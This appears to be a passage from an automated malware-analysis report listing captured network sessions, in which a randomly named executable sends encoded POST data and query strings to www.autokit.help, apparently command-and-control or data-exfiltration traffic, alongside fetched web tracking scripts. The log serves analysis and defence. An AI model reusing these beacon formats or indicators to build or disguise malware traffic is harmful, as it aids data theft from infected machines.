window.wpkReporter({bid:"berg-download",rel:"2.42.0",sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loadBaiduHmt(t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}function
Nov 10, 2023 09:29:38.157659054 CET	264	IN	Data Raw: 20 62 61 69 64 75 50 75 73 68 28 74 2c 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63 6b 45 76 65 6e 74 22 2c 74 2c 65 2c 6f 5d 29 7d 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e5 8a a0 e8 bd bd e7 99 be e5 ba Data Ascii: baiduPush(t,e,o){window._hmt.push(["_trackEvent",t,e,o])}console.log("..."),window._hmt=window._hmt\|\|[];const BUILD_ENV="quark",token="42296466acbd6a1e84224ab1433a06cc";loadBaiduHmt(token)</script><script>function send
Nov 10, 2023 09:29:38.157677889 CET	265	IN	Data Raw: 28 69 29 26 26 74 2e 70 75 73 68 28 22 22 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 69 29 2c 22 3d 22 29 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 69 5d 29 29 29 Data Ascii: (i)&&t.push("".concat(encodeURIComponent(i),"=").concat(encodeURIComponent(a[i])));var c=t.join("&").replace(/%20/g,"+"),s="".concat("https://track.uc.cn/collect","?").concat(c,"&").concat("uc_param_str=dsfrpfvedncpssntnwbipreimeutsv");(e()\|\|r
Nov 10, 2023 09:29:38.157699108 CET	266	IN	Data Raw: 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 24 73 63 72 69 70 74 31 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 24 73 Data Ascii: ument.getElementsByTagName("head")[0],$script1=document.createElement("script");$script1.setAttribute("crossorigin","anonymous"),$script1.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($sc
Nov 10, 2023 09:29:38.165056944 CET	267	IN	Data Raw: 68 65 61 64 2e 6c 61 73 74 43 68 69 6c 64 29 2c 24 73 63 72 69 70 74 31 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b Data Ascii: head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("crossorigin","anonymous"),e.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/js/vconsle.js"),$head.insertBefore(e,$head.lastChild)};bre
Nov 10, 2023 09:29:38.165117025 CET	267	IN	Data Raw: 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 33 6f 2f 62 65 72 67 2f 73 74 61 74 69 63 2f 61 72 63 68 65 72 5f 69 6e 64 65 78 2e 33 36 39 61 36 36 33 62 30 38 61 35 35 64 33 30 Data Ascii: ript src="https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.369a663b08a55d305b97.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.10	49748	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:44.246426105 CET	269	OUT	POST /udwf/ HTTP/1.1 Host: www.autokit.help Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.autokit.help Referer: http://www.autokit.help/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 45 6a 72 61 66 45 49 55 4e 75 30 4e 39 53 50 63 54 62 36 30 6a 41 5a 46 58 6d 45 58 6d 6f 75 68 5a 45 34 4c 6a 48 6a 62 2f 78 6e 69 6b 43 77 63 47 50 63 6e 47 58 64 34 46 58 51 36 6d 70 6a 61 51 77 4a 46 51 4f 73 38 5a 48 33 51 73 6e 43 53 4a 69 46 68 52 45 72 6f 48 42 76 75 71 37 6f 47 67 61 54 6a 66 55 47 48 36 47 74 2f 41 50 33 51 47 6d 37 59 62 54 44 37 72 46 2b 6f 76 46 50 68 46 4a 75 4d 68 2b 6f 36 4b 76 71 4c 45 61 6f 4e 56 77 4e 64 49 35 6f 51 32 59 4e 30 42 44 6c 4b 36 69 63 4a 71 49 79 44 6d 44 52 34 50 55 49 6d 61 51 3d 3d Data Ascii: G0Yxd2Q=EjrafEIUNu0N9SPcTb60jAZFXmEXmouhZE4LjHjb/xnikCwcGPcnGXd4FXQ6mpjaQwJFQOs8ZH3QsnCSJiFhREroHBvuq7oGgaTjfUGH6Gt/AP3QGm7YbTD7rF+ovFPhFJuMh+o6KvqLEaoNVwNdI5oQ2YN0BDlK6icJqIyDmDR4PUImaQ==
Nov 10, 2023 09:29:44.553551912 CET	269	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:29:44 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.10	49749	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:47.082045078 CET	270	OUT	POST /udwf/ HTTP/1.1 Host: www.autokit.help Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.autokit.help Referer: http://www.autokit.help/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 45 6a 72 61 66 45 49 55 4e 75 30 4e 38 78 48 63 52 38 4f 30 79 51 5a 4b 4c 32 45 58 39 34 75 6c 5a 45 30 4c 6a 47 33 4c 2f 48 33 69 6a 6d 34 63 48 4f 63 6e 4b 33 64 34 43 6e 52 77 37 35 6a 54 51 77 56 6e 51 4d 6f 38 5a 48 6a 51 73 6d 79 53 4a 52 39 67 54 55 72 75 42 42 76 67 33 4c 6f 47 67 61 54 6a 66 55 43 74 36 46 64 2f 41 2b 48 51 47 44 50 62 46 6a 44 30 39 31 2b 6f 34 31 50 6c 46 4a 76 6a 68 2f 45 41 4b 71 75 4c 45 66 4d 4e 52 78 4e 63 42 35 6f 73 70 49 4d 43 42 68 4d 65 36 77 74 31 72 5a 65 77 30 32 4d 30 4f 42 6b 31 64 75 4e 57 65 66 77 53 50 46 52 52 54 50 4b 43 77 50 68 47 78 59 45 3d Data Ascii: G0Yxd2Q=EjrafEIUNu0N8xHcR8O0yQZKL2EX94ulZE0LjG3L/H3ijm4cHOcnK3d4CnRw75jTQwVnQMo8ZHjQsmySJR9gTUruBBvg3LoGgaTjfUCt6Fd/A+HQGDPbFjD091+o41PlFJvjh/EAKquLEfMNRxNcB5ospIMCBhMe6wt1rZew02M0OBk1duNWefwSPFRRTPKCwPhGxYE=
Nov 10, 2023 09:29:47.396713018 CET	270	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:29:47 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.10	49750	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:49.918850899 CET	272	OUT	POST /udwf/ HTTP/1.1 Host: www.autokit.help Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.autokit.help Referer: http://www.autokit.help/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 1220 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 45 6a 72 61 66 45 49 55 4e 75 30 4e 38 78 48 63 52 38 4f 30 79 51 5a 4b 4c 32 45 58 39 34 75 6c 5a 45 30 4c 6a 47 33 4c 2f 48 2f 69 6b 52 34 63 47 74 30 6e 4a 33 64 34 4e 33 52 39 37 35 69 42 51 77 4e 6a 51 4d 31 42 5a 44 54 51 39 77 6d 53 42 41 39 67 61 55 72 75 44 42 76 68 71 37 6f 54 67 61 6a 5a 66 56 79 74 36 46 64 2f 41 39 66 51 42 57 37 62 48 6a 44 37 72 46 2b 6b 76 46 50 4e 46 49 48 5a 68 2f 77 71 4b 65 61 4c 48 2f 63 4e 54 6a 56 63 4f 35 6f 75 71 49 4d 4b 42 68 51 6f 36 77 77 45 72 64 57 65 30 32 30 30 4f 41 5a 31 42 4d 5a 72 41 4a 77 4f 4f 46 56 70 63 62 58 47 73 66 73 46 74 4f 71 70 54 44 69 78 46 61 79 6b 70 4f 79 6c 61 79 57 7a 7a 57 4e 39 33 4f 68 43 4c 4e 6c 66 2f 30 6e 65 4c 39 56 51 72 6f 4c 61 4b 4b 6e 51 53 36 4e 51 37 52 73 43 71 48 64 64 70 4f 46 45 5a 57 61 6e 69 4b 36 68 78 69 38 53 5a 44 4c 64 61 6a 51 43 4d 68 58 42 48 5a 43 65 50 4b 49 35 53 4a 4e 73 69 36 4e 53 32 43 49 50 34 52 39 61 4c 66 55 48 52 49 51 59 30 6e 6c 6e 4d 5a 47 68 67 58 70 59 5a 4e 76 2b 32 58 42 77 6c 6e 2b 42 37 39 6d 76 70 2b 42 33 6b 30 51 4f 6d 57 39 65 7a 6b 72 70 54 64 41 43 59 6a 6d 5a 56 4c 31 35 54 68 34 2b 65 76 77 77 4a 38 74 66 36 38 48 61 34 63 61 76 4f 58 46 38 36 51 59 47 50 38 35 6b 4c 34 4f 45 45 6a 61 61 69 6f 66 74 48 69 38 78 66 49 59 6f 6d 31 4d 78 45 58 6b 74 47 4d 73 68 70 46 39 75 4a 49 69 46 45 77 67 44 59 4f 72 50 68 59 34 51 47 48 68 72 46 61 63 2f 6a 79 49 76 78 56 31 79 6e 6d 77 4e 46 6a 65 37 41 67 4b 71 6f 6e 6c 34 7a 49 77 4e 56 43 35 56 2f 62 4a 39 79 69 67 6c 76 50 58 32 58 51 50 6f 46 78 58 35 53 56 68 33 33 69 65 45 33 4e 65 75 6d 43 2b 55 35 37 41 68 31 74 4d 41 57 45 44 39 4e 37 35 75 6b 6d 30 61 39 6f 4c 33 5a 66 42 5a 64 7a 54 6a 4c 79 72 4d 68 6a 33 36 74 2b 56 34 71 71 45 59 79 2b 6b 6c 67 55 50 4b 30 73 74 69 6e 30 47 59 75 4d 6c 4f 7a 34 4f 75 4f 42 53 5a 65 72 36 68 58 72 2f 38 44 54 4e 38 34 75 6a 6d 33 37 6a 65 49 50 70 38 74 45 78 4d 33 77 30 75 6d 4e 35 66 64 47 70 58 46 73 67 67 72 72 64 74 58 52 74 5a 45 4d 69 73 79 79 69 42 58 77 63 56 62 6c 44 5a 31 78 38 31 31 78 57 4b 79 58 70 67 51 6c 46 74 69 6f 47 73 6c 4b 54 35 49 4e 45 66 4c 57 38 6d 66 7a 34 74 4e 42 43 59 77 6c 74 4a 64 6b 69 64 6d 64 6c 32 4c 30 32 6f 49 55 37 30 70 5a 36 32 59 48 58 44 66 6a 30 65 69 38 54 35 47 67 4d 2b 75 71 51 6f 4e 6b 58 55 35 51 72 77 2b 79 42 4a 4f 52 7a 32 5a 2b 56 35 76 54 5a 39 78 59 4f 51 30 7a 77 55 2f 6d 42 7a 79 30 71 53 6a 58 62 63 69 68 69 79 38 70 71 41 69 34 47 72 47 70 4f 6c 43 70 44 73 76 6f 33 6f 62 69 48 73 71 74 31 6b 43 55 6d 49 4e 68 76 7a 39 77 51 55 32 65 4e 73 43 46 39 41 4c 4b 44 69 6c 78 61 55 32 6f 68 43 44 59 39 6b 51 50 63 76 63 58 4d 45 53 69 72 77 74 73 51 65 4b 48 52 76 6a 58 39 75 61 2f 52 43 4e 64 33 69 75 73 73 63 69 2b 4b 42 47 6a 4d 67 51 43 53 71 74 6d 78 30 4f 4f 4b 5a 52 54 77 5a 77 59 42 6f 4b 41 67 4e 57 44 30 43 69 7a 71 37 62 5a 50 49 64 56 5a 76 63 46 5a 46 48 4e 53 6e 5a 38 71 41 48 35 49 6d 55 59 36 51 6e 52 4a 43 37 64 4e 73 76 54 4a 45 54 79 68 4e 55 41 52 79 6d 61 33 6b 76 69 56 31 38 79 35 59 78 4f 52 31 58 57 5a 2b 7a 71 36 59 46 56 45 6b 66 70 61 41 38 6a 30 4f 56 79 36 38 74 4d 72 4c 46 4d 36 59 50 73 65 76 57 6d 38 68 31 33 44 6c 45 4c 4a 4b 43 4e 78 4c 51 69 51 47 73 67 6d 6e 50 4f 6e 51 6a 50 5a 32 6f 6e 50 6f 4d 69 6e 58 5a 61 31 52 63 4d 73 46 2f 66 70 49 41 33 6f 42 42 59 63 41 2f 54 70 7a 47 65 56 59 38 7a 37 50 79 72 57 5a 6d 75 67 65 79 34 34 2b 79 43 62 2f 48 34 53 65 78 74 4b 47 36 46 52 35 58 51 74 75 77 49 42 2f 70 74 2b 5a 43 39 32 6d 41 6c 68 37 35 32 6d 57 5a 4e 4c 70 71 73 4c 34 30 55 6e 4f 38 62 71 4c 61 39 74 36 6d 70 76 6e 5a 59 42 39 77 42 41 31 66 38 4c 41 38 31 4b 57 Data Ascii: G0Yxd2Q=EjrafEIUNu0N8xHcR8O0yQZKL2EX94ulZE0LjG3L/H/ikR4cGt0nJ3d4N3R975iBQwNjQM1BZDTQ9wmSBA9gaUruDBvhq7oTgajZfVyt6Fd/A9fQBW7bHjD7rF+kvFPNFIHZh/wqKeaLH/cNTjVcO5ouqIMKBhQo6wwErdWe0200OAZ1BMZrAJwOOFVpcbXGsfsFtOqpTDixFaykpOylayWzzWN93OhCLNlf/0neL9VQroLaKKnQS6NQ7RsCqHddpOFEZWaniK6hxi8SZDLdajQCMhXBHZCePKI5SJNsi6NS2CIP4R9aLfUHRIQY0nlnMZGhgXpYZNv+2XBwln+B79mvp+B3k0QOmW9ezkrpTdACYjmZVL15Th4+evwwJ8tf68Ha4cavOXF86QYGP85kL4OEEjaaioftHi8xfIYom1MxEXktGMshpF9uJIiFEwgDYOrPhY4QGHhrFac/jyIvxV1ynmwNFje7AgKqonl4zIwNVC5V/bJ9yiglvPX2XQPoFxX5SVh33ieE3NeumC+U57Ah1tMAWED9N75ukm0a9oL3ZfBZdzTjLyrMhj36t+V4qqEYy+klgUPK0stin0GYuMlOz4OuOBSZer6hXr/8DTN84ujm37jeIPp8tExM3w0umN5fdGpXFsggrrdtXRtZEMisyyiBXwcVblDZ1x811xWKyXpgQlFtioGslKT5INEfLW8mfz4tNBCYwltJdkidmdl2L02oIU70pZ62YHXDfj0ei8T5GgM+uqQoNkXU5Qrw+yBJORz2Z+V5vTZ9xYOQ0zwU/mBzy0qSjXbcihiy8pqAi4GrGpOlCpDsvo3obiHsqt1kCUmINhvz9wQU2eNsCF9ALKDilxaU2ohCDY9kQPcvcXMESirwtsQeKHRvjX9ua/RCNd3iussci+KBGjMgQCSqtmx0OOKZRTwZwYBoKAgNWD0Cizq7bZPIdVZvcFZFHNSnZ8qAH5ImUY6QnRJC7dNsvTJETyhNUARyma3kviV18y5YxOR1XWZ+zq6YFVEkfpaA8j0OVy68tMrLFM6YPsevWm8h13DlELJKCNxLQiQGsgmnPOnQjPZ2onPoMinXZa1RcMsF/fpIA3oBBYcA/TpzGeVY8z7PyrWZmugey44+yCb/H4SextKG6FR5XQtuwIB/pt+ZC92mAlh752mWZNLpqsL40UnO8bqLa9t6mpvnZYB9wBA1f8LA81KW
Nov 10, 2023 09:29:50.226386070 CET	273	IN	HTTP/1.1 405 Not Allowed date: Fri, 10 Nov 2023 08:29:50 GMT content-type: text/html content-length: 154 server: NginX connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.10	49751	91.195.240.19	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:29:52.753489017 CET	274	OUT	GET /udwf/?G0Yxd2Q=JhD6cx1vDN8a5DTqTeGrmxpVAWwY3peLQFgmtHjEzCHBkXYzNr0CMjFSFUc9xNeYGx9uB9pdck/5lV77OkU8LgPfKC/e4IY5hQ==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.autokit.help Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:29:53.124485970 CET	275	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:29:52 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_MBgXJ0vfoutjDS55Ut5T3/aaqRvbanoWrojKoGdHWZoTN4XR8y1sV5Oq2LsvjUVA2LHmAsYguctyzajZtaubeg== last-modified: Fri, 10 Nov 2023 08:29:52 GMT x-cache-miss-from: parking-698fb476bf-xqxcz server: NginX connection: close Data Raw: 32 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 4d 42 67 58 4a 30 76 66 6f 75 74 6a 44 53 35 35 55 74 35 54 33 2f 61 61 71 52 76 62 61 6e 6f 57 72 6f 6a 4b 6f 47 64 48 57 5a 6f 54 4e 34 58 52 38 79 31 73 56 35 4f 71 32 4c 73 76 6a 55 56 41 32 4c 48 6d 41 73 59 67 75 63 74 79 7a 61 6a 5a 74 61 75 62 65 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 61 75 74 6f 6b 69 74 2e 68 65 6c 70 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 61 75 74 6f 6b 69 74 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 61 75 74 6f 6b 69 74 2e 68 65 6c 70 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f Data Ascii: 2CE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_MBgXJ0vfoutjDS55Ut5T3/aaqRvbanoWrojKoGdHWZoTN4XR8y1sV5Oq2LsvjUVA2LHmAsYguctyzajZtaubeg==><head><meta charset="utf-8"><title>autokit.help - autokit Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="autokit.help is your first and best source for all of the information youre looking for. From general to
Nov 10, 2023 09:29:53.124547958 CET	276	IN	Data Raw: 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 61 75 74 6f 6b 69 74 2e 68 65 6c 70 20 68 61 73 20 69 74 20 61 6c 6c 2e 20 57 65 20 68 6f Data Ascii: pics to more of what you would expect to find here, autokit.help has it all. We hope you find what you are576 searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sedo_logo.p
Nov 10, 2023 09:29:53.124567986 CET	278	IN	Data Raw: 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 2a 7a 6f 6f 6d 3a 31 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 Data Ascii: k}audio,canvas,video{display:inline-block;display:inline;zoom:1}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}html,button,input576,select,tex
Nov 10, 2023 09:29:53.124588966 CET	279	IN	Data Raw: 64 65 6e 7d 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 7d 66 69 65 6c 64 73 65 74 7b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 6c 65 67 65 6e 64 Data Ascii: den}figure{margin:0}form{margin:0}fieldset{border:0 none;margin:0;padding:0}legend{border:0;padding:0;white-space:normal;margin-left:-7px}button,input,select,textarea{font-size:100%;margin:0;vertical-align:middle;vertical-align:middle}button
Nov 10, 2023 09:29:53.124608040 CET	279	IN	Data Raw: 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 7d 2e 6e 63 2d 63 6f 6e 74 61 69 6e 65 72 20 73 70 61 6e 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 65 6c 2c 73 61 6e 73 Data Ascii: h:100%;text-align:center;margin-top:10px}.nc-container span{font-family:Ariel,sans-serif;font-size:16px;color:#888}.content-disclaimer{font-size:10px}.content-disclaimer .sedologo{float:left;padding:0 10px 0 0}.content-disclaimer a:link,.conte
Nov 10, 2023 09:29:53.124659061 CET	281	IN	Data Raw: 41 45 43 0d 0a 72 69 6e 74 20 61 3a 76 69 73 69 74 65 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 2e 35 65 6d 20 33 30 70 78 3b 74 65 78 Data Ascii: AECrint a:visited{display:block;text-align:center;margin:0;padding:.5em 30px;text-decoration:underline}.content-imprint a:hover,.content-imprint a:active,.content-imprint a:focus{text-decoration:none}.content-contact-us{clear:both}.content-c
